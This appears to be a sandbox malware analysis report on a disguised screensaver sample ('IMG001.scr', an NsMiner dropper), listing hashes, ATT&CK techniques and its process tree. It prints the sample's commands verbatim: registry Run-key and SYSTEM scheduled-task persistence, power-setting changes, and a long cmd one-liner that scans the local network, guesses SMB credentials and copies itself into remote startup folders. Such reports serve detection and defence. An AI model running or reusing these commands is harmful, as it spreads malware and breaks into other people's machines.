7126b9932dc0cdfe751340edfa7c4a14b69262eb1afd0530e6d1fdb2e25986dd

Analysis

max time kernel
145s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-09-2024 09:54

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General

Target

IMG001.scr
Size

3.4MB
MD5

fbbcf1e9501234d6661a0c9ae6dc01c9
SHA1

1ca9759a324159f331e79ea6871ad62040521b41
SHA256

d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512

027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
SSDEEP

98304:M5VPnq1y5tQOM33ZNqCtBixHl54Oyjes1Ro6:2VPq1yLanrqTr43eON

Score

8^/10

defense_evasion discovery persistence

Malware Config

Signatures

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
defense_evasion

Network Share Connection Removal
T1070.005

Processes:

cmd.exe

pid process

1660 cmd.exe
Drops startup file 1 IoCs

Processes:

IMG001.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk IMG001.exe
Executes dropped EXE 1 IoCs

Processes:

IMG001.exe

pid process

2128 IMG001.exe
Loads dropped DLL 7 IoCs

Processes:

IMG001.scrIMG001.exe

pid process

2236 IMG001.scr
2128 IMG001.exe
2128 IMG001.exe
2128 IMG001.exe
2128 IMG001.exe
2128 IMG001.exe
2128 IMG001.exe

pid	process
1660	cmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe

pid	process
2128	IMG001.exe

pid	process
2236	IMG001.scr
2128	IMG001.exe
2128	IMG001.exe
2128	IMG001.exe
2128	IMG001.exe
2128	IMG001.exe
2128	IMG001.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

IMG001.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

IMG001.exe

description ioc process

File opened (read-only) \??\E: IMG001.exe
Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
discovery

Network Service Discovery
T1046

Processes:

cmd.exe

pid process

740 cmd.exe
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.execmd.exepowercfg.exepowercfg.exe

pid process

2704 powercfg.exe
1512 cmd.exe
2784 powercfg.exe
2780 powercfg.exe
Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\UAC.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened (read-only)	\??\E:	IMG001.exe

pid	process
740	cmd.exe

pid	process
2704	powercfg.exe
1512	cmd.exe
2784	powercfg.exe
2780	powercfg.exe

description	ioc	process
File created	C:\Windows\Tasks\UAC.job	schtasks.exe

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powercfg.exeIMG001.execmd.exeschtasks.exeschtasks.execmd.execmd.execmd.exereg.exepowercfg.execmd.exeIMG001.scrpowercfg.execmd.execmd.exenet.exefind.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powercfg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IMG001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powercfg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IMG001.scr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powercfg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_1
\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe	nsis_installer_2

Discovers systems in the same network 1 TTPs 1 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exe

pid process

1576 net.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2788 schtasks.exe
2804 schtasks.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powercfg.exepowercfg.exepowercfg.exe

description pid process

Token: SeShutdownPrivilege 2784 powercfg.exe
Token: SeShutdownPrivilege 2780 powercfg.exe
Token: SeShutdownPrivilege 2704 powercfg.exe

pid	process
1576	net.exe

pid	process
2788	schtasks.exe
2804	schtasks.exe

description	pid	process
Token: SeShutdownPrivilege	2784	powercfg.exe
Token: SeShutdownPrivilege	2780	powercfg.exe
Token: SeShutdownPrivilege	2704	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

IMG001.scrIMG001.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2236 wrote to memory of 2128	2236	IMG001.scr	IMG001.exe
PID 2236 wrote to memory of 2128	2236	IMG001.scr	IMG001.exe
PID 2236 wrote to memory of 2128	2236	IMG001.scr	IMG001.exe
PID 2236 wrote to memory of 2128	2236	IMG001.scr	IMG001.exe
PID 2128 wrote to memory of 2524	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2524	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2524	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2524	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2032	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2032	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2032	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2032	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2928	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2928	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2928	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 2928	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1512	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1512	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1512	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1512	2128	IMG001.exe	cmd.exe
PID 2524 wrote to memory of 2724	2524	cmd.exe	reg.exe
PID 2524 wrote to memory of 2724	2524	cmd.exe	reg.exe
PID 2524 wrote to memory of 2724	2524	cmd.exe	reg.exe
PID 2524 wrote to memory of 2724	2524	cmd.exe	reg.exe
PID 1512 wrote to memory of 2784	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2784	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2784	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2784	1512	cmd.exe	powercfg.exe
PID 2032 wrote to memory of 2804	2032	cmd.exe	schtasks.exe
PID 2032 wrote to memory of 2804	2032	cmd.exe	schtasks.exe
PID 2032 wrote to memory of 2804	2032	cmd.exe	schtasks.exe
PID 2032 wrote to memory of 2804	2032	cmd.exe	schtasks.exe
PID 2928 wrote to memory of 2788	2928	cmd.exe	schtasks.exe
PID 2928 wrote to memory of 2788	2928	cmd.exe	schtasks.exe
PID 2928 wrote to memory of 2788	2928	cmd.exe	schtasks.exe
PID 2928 wrote to memory of 2788	2928	cmd.exe	schtasks.exe
PID 1512 wrote to memory of 2780	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2780	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2780	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2780	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2704	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2704	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2704	1512	cmd.exe	powercfg.exe
PID 1512 wrote to memory of 2704	1512	cmd.exe	powercfg.exe
PID 2128 wrote to memory of 1660	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1660	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1660	2128	IMG001.exe	cmd.exe
PID 2128 wrote to memory of 1660	2128	IMG001.exe	cmd.exe
PID 1660 wrote to memory of 740	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 740	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 740	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 740	1660	cmd.exe	cmd.exe
PID 740 wrote to memory of 1576	740	cmd.exe	net.exe
PID 740 wrote to memory of 1576	740	cmd.exe	net.exe
PID 740 wrote to memory of 1576	740	cmd.exe	net.exe
PID 740 wrote to memory of 1576	740	cmd.exe	net.exe
PID 740 wrote to memory of 1520	740	cmd.exe	find.exe
PID 740 wrote to memory of 1520	740	cmd.exe	find.exe
PID 740 wrote to memory of 1520	740	cmd.exe	find.exe
PID 740 wrote to memory of 1520	740	cmd.exe	find.exe
PID 1660 wrote to memory of 952	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 952	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 952	1660	cmd.exe	cmd.exe
PID 1660 wrote to memory of 952	1660	cmd.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\IMG001.scr
"C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2236

C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2524

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:2724

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2928

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
4⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
3⤵
- Power Settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\powercfg.exe
powercfg /CHANGE -standby-timeout-ac 0
4⤵
- Power Settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\SysWOW64\powercfg.exe
powercfg /CHANGE -hibernate-timeout-ac 0
4⤵
- Power Settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2780

C:\Windows\SysWOW64\powercfg.exe
Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
4⤵
- Power Settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2704

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1804& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
3⤵
- Indicator Removal: Network Share Connection Removal
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
4⤵
- Network Service Discovery
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\net.exe
net view
5⤵
- System Location Discovery: System Language Discovery
- Discovers systems in the same network
PID:1576

C:\Windows\SysWOW64\find.exe
find /i "\\"
5⤵
- System Location Discovery: System Language Discovery
PID:1520

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c set str_
4⤵
- System Location Discovery: System Language Discovery
PID:952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\nsoD126.tmp\inetc.dll
Filesize
21KB

MD5
d7a3fa6a6c738b4a3c40d5602af20b08

SHA1
34fc75d97f640609cb6cadb001da2cb2c0b3538a

SHA256
67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

SHA512
75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

Download Submit
\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
Filesize
3.4MB

MD5
fbbcf1e9501234d6661a0c9ae6dc01c9

SHA1
1ca9759a324159f331e79ea6871ad62040521b41

SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

Download Submit